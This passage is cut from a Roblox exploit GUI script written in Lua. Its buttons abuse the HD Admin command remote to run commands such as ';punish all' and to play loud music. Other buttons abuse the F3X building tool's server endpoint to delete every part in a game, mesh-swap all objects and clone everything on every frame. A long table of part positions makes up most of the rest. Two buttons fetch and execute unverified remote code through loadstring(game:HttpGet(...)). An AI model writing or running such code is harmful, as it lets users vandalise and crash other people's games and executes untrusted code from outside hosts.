		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";titlep all X9D")
	end)
end;
task.spawn(C_40);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_43()
local script = G2L["43"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 112226782551255 ;pitch 0.1 ;volume 25")
	end)
end;
task.spawn(C_43);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_45()
local script = G2L["45"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 136201301642679 ;pitch 0.1 ;volume 25")
	end)
end;
task.spawn(C_45);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_47()
local script = G2L["47"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 72796362292502 ;pitch 0.1 ;volume 25")
	end)
end;
task.spawn(C_47);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_49()
local script = G2L["49"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 127653283576622 ;volume 25")
	end)
end;
task.spawn(C_49);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_4b()
local script = G2L["4b"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 95156028272944 ;volume 25 ;pitch 0.22")
	end)
end;
task.spawn(C_4b);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextLabel.TextButton.LocalScript
local function C_4d()
local script = G2L["4d"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";music 139488665764275 ;volume 25 ")
	end)
end;
task.spawn(C_4d);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_4f()
local script = G2L["4f"];
	script.Parent.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/AYq8S0Er7HKVVs8S/raw"))()
	end)
end;
task.spawn(C_4f);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_51()
local script = G2L["51"];
	script.Parent.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/df1mYxm8y1LL7ED4/raw",true))()
	end)
end;
task.spawn(C_51);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_53()
local script = G2L["53"];
	script.Parent.MouseButton1Click:Connect(function()
		-- Credits to whoever made the f3x call function template and credits to remote spy for some scripts xd
	
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
	
		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer
	
		local function findTool()
			local char = player.Character or player.CharacterAdded:Wait()
	
			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end
	
		local tool = findTool()
		if not tool then return end
	
		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end
	
		for _, stupidguy in ipairs(workspace:GetDescendants()) do
	
	
			task.spawn(function()
				call({ "CreateMeshes", { { Part = stupidguy } } })
			end)
	
			task.spawn(function()
				call({
					"SyncMesh",
					{{
						Part = stupidguy,
						MeshId = "rbxassetid://12902786354",
					}}
				})
			end)
			game:GetService("RunService").Heartbeat:Connect(function()
				local clonething = {
					[1] = "Clone",
					[2] = {
						[1] = stupidguy
					},
					[3] = game.Workspace
				}
	
				remote:InvokeServer(unpack(clonething))
	
			end)
		end
	end)
end;
task.spawn(C_53);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_55()
local script = G2L["55"];
	script.Parent.MouseButton1Click:Connect(function()
		--- f3x f.y.d
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
			RequestCommand:InvokeServer(";btools me")
			task.wait(1.2)
			RequestCommand:InvokeServer(";punish all")
			task.wait(0.2) 
	
	
			local player = game.Players.LocalPlayer
			local backpack = player.Backpack
			local character = player.Character
	
			local function getF3X()
				for _, v in ipairs(backpack:GetChildren()) do
					if v:FindFirstChild("SyncAPI") then return v end
				end
				for _, v in ipairs(character:GetChildren()) do
					if v:FindFirstChild("SyncAPI") then return v end
				end
				return nil
			end
	
			local f3x = getF3X()
			if not f3x then
				warn("F3X / SyncAPI not found – please equip btools and try again")
				return
			end
	
			local syncapi = f3x.SyncAPI
			local endpoint = syncapi.ServerEndpoint
	
	
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then
					task.spawn(function()
						pcall(function()
							endpoint:InvokeServer("Remove", {v})
						end)
					end)
				end
			end
			task.wait(1)
	
	
			local function syncAnchor(ep, part, anchored)
				ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}})
			end
	
			local function batchResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end
			local function batchMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end
			local function batchColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end
			local function batchCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end
	
	
			local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end
			local function syncMeshType(ep, part, t) ep:InvokeServer("SyncMesh", {{Part = part, MeshType = t}}) end
			local function syncMeshScale(ep, part, s) ep:InvokeServer("SyncMesh", {{Part = part, Scale = s}}) end
			local function syncMeshOffset(ep, part, o) ep:InvokeServer("SyncMesh", {{Part = part, Offset = o}}) end
			local function syncMeshId(ep, part, id) ep:InvokeServer("SyncMesh", {{Part = part, MeshId = id}}) end
			local function syncMeshTexture(ep, part, tex) ep:InvokeServer("SyncMesh", {{Part = part, TextureId = tex}}) end
			local function syncMeshVertexColor(ep, part, col) ep:InvokeServer("SyncMesh", {{Part = part, VertexColor = col}}) end
	
	
			local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end
			local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end
			local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end
	
	
			local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end
			local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end
			local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end
	
	
			local function createLight(ep, part, lightType)
				ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}})
			end
			local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle)
				local params = {Part = part, LightType = lightType}
				if brightness ~= nil then params.Brightness = brightness end
				if range ~= nil then params.Range = range end
				if color then params.Color = color end
				if shadows ~= nil then params.Shadows = shadows end
				if face and face ~= "nil" then params.Face = face end
				if angle ~= nil then params.Angle = angle end
				ep:InvokeServer("SyncLighting", {params})
			end
	
	
			local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end
			local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end
			local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end
	
	
			local P = {}
	
			local partData = {
				[8] = {anchored = true},
				[9] = {anchored = true},
				[10] = {anchored = true},
				[11] = {anchored = true},
				[12] = {anchored = true},
				[14] = {anchored = true},
				[15] = {anchored = true},
				[16] = {anchored = true},
				[17] = {anchored = true},
				[18] = {anchored = true},
				[21] = {anchored = true},
				[22] = {anchored = true},
				[23] = {anchored = true},
				[24] = {anchored = true},
				[25] = {anchored = true},
				[26] = {anchored = true},
				[27] = {anchored = true},
				[28] = {anchored = true},
				[29] = {anchored = true},
				[30] = {anchored = true},
				[31] = {anchored = true},
				[32] = {anchored = true},
				[33] = {anchored = true},
				[34] = {anchored = true},
				[35] = {anchored = true},
				[36] = {anchored = true},
				[37] = {anchored = true},
				[38] = {anchored = true},
				[39] = {anchored = true},
				[40] = {anchored = true},
				[41] = {anchored = true},
				[42] = {anchored = true},
				[43] = {anchored = true},
				[44] = {anchored = true},
				[45] = {anchored = true},
				[46] = {anchored = true},
				[151] = {anchored = true},
				[673] = {anchored = true},
				[685] = {anchored = true},
				[706] = {anchored = true},
				[561] = {anchored = true},
				[667] = {anchored = true},
				[675] = {anchored = true},
				[736] = {anchored = true},
				[519] = {anchored = true},
				[700] = {anchored = true},
				[510] = {anchored = true},
				[587] = {anchored = true},
				[464] = {anchored = true},
				[611] = {anchored = true},
				[571] = {anchored = true},
				[635] = {anchored = true},
				[166] = {anchored = true},
				[435] = {anchored = true},
				[555] = {anchored = true},
				[175] = {anchored = true},
				[663] = {anchored = true},
				[579] = {anchored = true},
				[657] = {anchored = true},
				[470] = {anchored = true},
				[767] = {anchored = true},
				[491] = {anchored = true},
				[607] = {anchored = true},
				[631] = {anchored = true},
				[770] = {anchored = true},
				[473] = {anchored = true},
				[694] = {anchored = true},
				[615] = {anchored = true},
				[428] = {anchored = true},
				[575] = {anchored = true},
				[627] = {anchored = true},
				[501] = {anchored = true},
				[479] = {anchored = true},
				[676] = {anchored = true},
				[595] = {anchored = true},
				[656] = {anchored = true},
				[648] = {anchored = true},
				[78] = {anchored = true},
				[461] = {anchored = true},
				[669] = {anchored = true},
				[82] = {anchored = true},
				[72] = {anchored = true},
				[540] = {anchored = true},
				[703] = {anchored = true},
				[619] = {anchored = true},
				[751] = {anchored = true},
				[522] = {anchored = true},
				[204] = {anchored = true},
				[114] = {anchored = true},
				[525] = {anchored = true},
				[270] = {anchored = true},
				[664] = {anchored = true},
				[745] = {anchored = true},
				[670] = {anchored = true},
				[732] = {anchored = true},
				[271] = {anchored = true},
				[532] = {anchored = true},
				[671] = {anchored = true},
				[268] = {anchored = true},
				[558] = {anchored = true},
				[567] = {anchored = true},
				[697] = {anchored = true},
				[691] = {anchored = true},
				[720] = {anchored = true},
				[476] = {anchored = true},
				[653] = {anchored = true},
				[528] = {anchored = true},
				[677] = {anchored = true},
				[650] = {anchored = true},
				[661] = {anchored = true},
				[599] = {anchored = true},
				[498] = {anchored = true},
				[186] = {anchored = true},
				[504] = {anchored = true},
				[646] = {anchored = true},
				[132] = {anchored = true},
				[623] = {anchored = true},
				[488] = {anchored = true},
				[157] = {anchored = true},
				[507] = {anchored = true},
				[247] = {anchored = true},
				[660] = {anchored = true},
				[672] = {anchored = true},
				[456] = {anchored = true},
				[467] = {anchored = true},
				[123] = {anchored = true},
				[773] = {anchored = true},
				[652] = {anchored = true},
				[655] = {anchored = true},
				[688] = {anchored = true},
				[761] = {anchored = true},
				[755] = {anchored = true},
				[549] = {anchored = true},
				[741] = {anchored = true},
				[494] = {anchored = true},
				[433] = {anchored = true},
				[238] = {anchored = true},
				[537] = {anchored = true},
				[729] = {anchored = true},
				[227] = {anchored = true},
				[712] = {anchored = true},
				[96] = {anchored = true},
				[546] = {anchored = true},
				[724] = {anchored = true},
				[482] = {anchored = true},
				[603] = {anchored = true},
				[639] = {anchored = true},
				[716] = {anchored = true},
				[265] = {anchored = true},
				[552] = {anchored = true},
				[709] = {anchored = true},
				[674] = {anchored = true},
				[87] = {anchored = true},
				[583] = {anchored = true},
				[256] = {anchored = true},
				[105] = {anchored = true},
				[516] = {anchored = true},
				[682] = {anchored = true},
				[485] = {anchored = true},
				[564] = {anchored = true},
				[665] = {anchored = true},
				[430] = {anchored = true},
				[543] = {anchored = true},
				[662] = {anchored = true},
				[659] = {anchored = true},
				[591] = {anchored = true},
				[513] = {anchored = true},
				[454] = {anchored = true},
				[458] = {anchored = true},
				[451] = {anchored = true},
				[644] = {anchored = true},
			}
	
			local partDefs = {
	
				[8] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,10.95000171661377,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[9] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,4.800012111663818,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[10] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,9.000000953674316,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[11] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,12.999993324279785,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[12] = {shape="Cylinder", cframe=CFrame.new(-43.163021087646484,6.9000091552734375,-31305.849609375,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[14] = {shape="Cylinder", cframe=CFrame.new(-26.908203125,4.800012111663818,-31305.56640625,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[15] = {shape="Cylinder", cframe=CFrame.new(-26.908203125,9.000000953674316,-31305.56640625,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[16] = {shape="Cylinder", cframe=CFrame.new(-26.908203125,12.999993324279785,-31305.56640625,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[17] = {shape="Cylinder", cframe=CFrame.new(-26.908203125,6.9000091552734375,-31305.56640625,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[18] = {shape="Cylinder", cframe=CFrame.new(-26.908203125,10.95000171661377,-31305.56640625,0.00004589557647705078,-0.9998476505279541,0.017456453293561935,-1,-0.00004601478576660156,4.0140002965927124e-07,4.0140002965927124e-07,-0.017456453293561935,-0.9998476505279541)},
				[21] = {shape="Normal", cframe=CFrame.new(-37.780601501464844,14.836641311645508,-31305.03125,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[22] = {shape="Normal", cframe=CFrame.new(-34.85372543334961,14.831279754638672,-31304.978515625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[23] = {shape="Normal", cframe=CFrame.new(-37.22557830810547,14.834718704223633,-31305.021484375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[24] = {shape="Normal", cframe=CFrame.new(-34.0463981628418,14.834718704223633,-31304.96484375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[25] = {shape="Normal", cframe=CFrame.new(-33.51313781738281,14.829383850097656,-31304.95703125,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[26] = {shape="Normal", cframe=CFrame.new(-27.80523681640625,14.831279754638672,-31304.857421875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[27] = {shape="Normal", cframe=CFrame.new(-28.4493350982666,14.835556030273438,-31304.8671875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[28] = {shape="Normal", cframe=CFrame.new(-41.69306182861328,14.831254959106445,-31305.099609375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[29] = {shape="Normal", cframe=CFrame.new(-31.0491886138916,14.835556030273438,-31304.912109375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[30] = {shape="Normal", cframe=CFrame.new(-32.926513671875,14.830337524414062,-31304.9453125,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[31] = {shape="Normal", cframe=CFrame.new(-41.019752502441406,14.836641311645508,-31305.087890625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[32] = {shape="Normal", cframe=CFrame.new(-32.2579345703125,14.831279754638672,-31304.93359375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[33] = {shape="Normal", cframe=CFrame.new(-35.07653045654297,14.522741317749023,-31304.982421875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[34] = {shape="Normal", cframe=CFrame.new(-40.260494232177734,14.830202102661133,-31305.07421875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[35] = {shape="Normal", cframe=CFrame.new(-31.642009735107422,14.829383850097656,-31304.923828125,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[36] = {shape="Normal", cframe=CFrame.new(-39.258358001708984,14.828546524047852,-31305.056640625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[37] = {shape="Normal", cframe=CFrame.new(-30.428159713745117,14.831626892089844,-31304.90234375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[38] = {shape="Normal", cframe=CFrame.new(-29.092792510986328,14.830337524414062,-31304.87890625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[39] = {shape="Normal", cframe=CFrame.new(-42.33387756347656,14.830202102661133,-31305.109375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[40] = {shape="Normal", cframe=CFrame.new(-36.66266632080078,14.830337524414062,-31305.01171875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[41] = {shape="Normal", cframe=CFrame.new(-35.057945251464844,14.827360153198242,-31304.982421875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[42] = {shape="Normal", cframe=CFrame.new(-36.059993743896484,14.830190658569336,-31305,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[43] = {shape="Normal", cframe=CFrame.new(-38.5644645690918,14.829383850097656,-31305.044921875,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[44] = {shape="Normal", cframe=CFrame.new(-29.772130966186523,14.831254959106445,-31304.890625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[45] = {shape="Normal", cframe=CFrame.new(-39.821983337402344,14.833158493041992,-31305.06640625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[46] = {shape="Normal", cframe=CFrame.new(-35.47167205810547,14.829383850097656,-31304.990234375,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[151] = {shape="Normal", cframe=CFrame.new(-46.60639190673828,7.000295639038086,-31306.087890625,-0.9998483657836914,0,0.01743638701736927,0,1,0,-0.01743638701736927,0,-0.9998483657836914)},
				[673] = {shape="Normal", cframe=CFrame.new(295.58294677734375,254.0273895263672,-31279.375,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
				[685] = {shape="Normal", cframe=CFrame.new(307.398193359375,256.5595703125,-31285.18359375,-0.4287373125553131,0.848175048828125,0.3111003041267395,-0.8777706027030945,-0.30959707498550415,-0.36560702323913574,-0.21378302574157715,-0.4298240542411804,0.8772389888763428)},
				[706] = {shape="Normal", cframe=CFrame.new(306.40289306640625,254.52413940429688,-31285.681640625,-0.4287373125553131,0.848175048828125,0.3111003041267395,-0.8777706027030945,-0.30959707498550415,-0.36560702323913574,-0.21378302574157715,-0.4298240542411804,0.8772389888763428)},
				[561] = {shape="Normal", cframe=CFrame.new(211.2198944091797,150.3120880126953,-31292.48046875,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
				[667] = {shape="Normal", cframe=CFrame.new(289.4049377441406,202.7017059326172,-31289.875,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
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				[504] = {shape="Normal", cframe=CFrame.new(-20.19356918334961,42.39889907836914,-31283.314453125,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
				[646] = {shape="Spawn", cframe=CFrame.new(-63.28943634033203,3.5,-31294.875,0,0,-1,0,1,0,1,0,0)},
				[132] = {shape="Normal", cframe=CFrame.new(-46.65399169921875,6.097362518310547,-31305.9296875,-0.9432693123817444,-0.08686447143554688,-0.32046595215797424,-0.14219146966934204,0.9778689742088318,0.15347270667552948,0.30004236102104187,0.19033361971378326,-0.934745192527771)},
				[623] = {shape="Normal", cframe=CFrame.new(216.72886657714844,164.90699768066406,-31264.87109375,0.12504693865776062,-0.9896394610404968,0.07054850459098816,0.5129010081291199,0.003612428903579712,-0.8584401607513428,0.8492913246154785,0.1435297727584839,0.5080388188362122)},
				[488] = {shape="Normal", cframe=CFrame.new(-18.827468872070312,6.13252592086792,-31251.40234375,-0.5110554099082947,0.5191759467124939,-0.6850392818450928,-0.7203088998794556,-0.693554162979126,0.011738089844584465,-0.4690176844596863,0.49943870306015015,0.7284115552902222)},
				[157] = {shape="Normal", cframe=CFrame.new(-47.01253128051758,4.571986198425293,-31305.642578125,-0.9947637319564819,-0.09201323986053467,0.04449135810136795,-0.05558513104915619,0.852365255355835,0.5199843645095825,-0.08576835691928864,0.5147885084152222,-0.8530166149139404)},
				[507] = {shape="Normal", cframe=CFrame.new(-19.5568904876709,40.7586784362793,-31281.6953125,-0.07285233587026596,-0.9692605137825012,0.23500338196754456,-0.09894471615552902,-0.22744299471378326,-0.9687516689300537,0.9924225807189941,-0.09382814168930054,-0.07933345437049866)},
				[247] = {shape="Normal", cframe=CFrame.new(-48.061492919921875,8.950946807861328,-31305.115234375,-0.46120303869247437,0.41028347611427307,-0.7867401242256165,-0.1451665759086609,-0.9096158146858215,-0.38926324248313904,-0.8753396272659302,-0.06532099843025208,0.47907692193984985)},
				[660] = {shape="Truss", cframe=CFrame.new(90.71656799316406,51.877960205078125,-31273.326171875,1,0,0,0,1,0,0,0,1)},
				[672] = {shape="Normal", cframe=CFrame.new(303.85699462890625,256.1585693359375,-31271.375,0.8191556930541992,-0.5735712647438049,0,0.5735712647438049,0.8191556930541992,0,0,0,1)},
				[456] = {shape="Normal", cframe=CFrame.new(435.3638000488281,241.0897216796875,-31276.18359375,0,0,1,0,1,-0,-1,0,0)},
				[467] = {shape="Normal", cframe=CFrame.new(-19.539758682250977,7.224411487579346,-31255.9296875,0.6850392818450928,0.5191759467124939,-0.5110554099082947,-0.011738089844584465,-0.693554162979126,-0.7203088998794556,-0.7284115552902222,0.49943870306015015,-0.4690176844596863)},
				[123] = {shape="Normal", cframe=CFrame.new(-45.02507781982422,8.907133102416992,-31306.17578125,-0.29224443435668945,-0.3485437333583832,0.8905681371688843,-0.011054366827011108,-0.9299280643463135,-0.36757567524909973,0.9562804102897644,-0.11726656556129456,0.267913281917572)},
				[773] = {shape="Normal", cframe=CFrame.new(284.2985534667969,267.6906433105469,-31286.478515625,1,0,0,0,1,0,0,0,1)},
				[652] = {shape="Normal", cframe=CFrame.new(610.2105712890625,259.2773132324219,-31245.515625,1,0,0,0,0.01750171184539795,-0.9998469352722168,0,0.9998469352722168,0.01750171184539795)},
				[655] = {shape="Normal", cframe=CFrame.new(-194.8311767578125,148.13186645507812,-31310.16796875,1,0,0,0,0.01750171184539795,-0.9998469352722168,0,0.9998469352722168,0.01750171184539795)},
				[688] = {shape="Normal", cframe=CFrame.new(306.9171447753906,255.5303497314453,-31285.41796875,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
				[761] = {shape="Normal", cframe=CFrame.new(284.2985534667969,267.6906433105469,-31306.271484375,1,0,0,0,1,0,0,0,1)},
				[755] = {shape="Normal", cframe=CFrame.new(295.8438415527344,267.6906433105469,-31306.271484375,1,0,0,0,1,0,0,0,1)},
				[549] = {shape="Normal", cframe=CFrame.new(208.78768920898438,151.7774200439453,-31296.3828125,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
				[741] = {shape="Normal", cframe=CFrame.new(284.71051025390625,266.8662109375,-31296.375,1,0,0,0,1,0,0,0,1)},
				[494] = {shape="Normal", cframe=CFrame.new(-21.13008689880371,7.250003337860107,-31254.240234375,0.6850392818450928,0.5191759467124939,-0.5110554099082947,-0.011738089844584465,-0.693554162979126,-0.7203088998794556,-0.7284115552902222,0.49943870306015015,-0.4690176844596863)},
				[433] = {shape="Normal", cframe=CFrame.new(435.3638000488281,241.0897216796875,-31280.67578125,0,0,1,0,1,-0,-1,0,0)},
				[238] = {shape="Normal", cframe=CFrame.new(-45.18034362792969,8.17706298828125,-31306.03125,-0.9248881340026855,-0.2753071188926697,0.26227670907974243,0.1754719763994217,-0.9209539890289307,-0.347927451133728,0.3373316824436188,-0.27577170729637146,0.9000880122184753)},
				[537] = {shape="Normal", cframe=CFrame.new(211.248291015625,151.82122802734375,-31296.29296875,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
				[729] = {shape="Normal", cframe=CFrame.new(290.07110595703125,266.8662109375,-31286.890625,1,0,0,0,1,0,0,0,1)},
				[227] = {shape="Normal", cframe=CFrame.new(-45.48649215698242,7.691401481628418,-31306.1015625,-0.9634588956832886,-0.19387774169445038,0.18482273817062378,0.07243566960096359,-0.8528767824172974,-0.517063319683075,0.2578781247138977,-0.484781414270401,0.8357552886009216)},
				[712] = {shape="Normal", cframe=CFrame.new(308.5553283691406,253.700927734375,-31288.724609375,0.3111003041267395,0.848175048828125,0.4287373125553131,-0.36560702323913574,-0.30959707498550415,0.8777706027030945,0.8772389888763428,-0.4298240542411804,0.21378302574157715)},
				[96] = {shape="Normal", cframe=CFrame.new(-46.1259651184082,5.553707122802734,-31305.78125,-0.9470305442810059,-0.2907145321369171,-0.1364520788192749,-0.08153969794511795,0.628637969493866,-0.7734116911888123,0.3106209635734558,-0.7213181257247925,-0.6190441250801086)},
				[546] = {shape="Normal", cframe=CFrame.new(213.43446350097656,151.74395751953125,-31295.1953125,-0.7380399703979492,0.2447793036699295,-0.6287926435470581,0.6719350218772888,0.18147708475589752,-0.7180317044258118,-0.06164783984422684,-0.9524437785148621,-0.29841312766075134)},
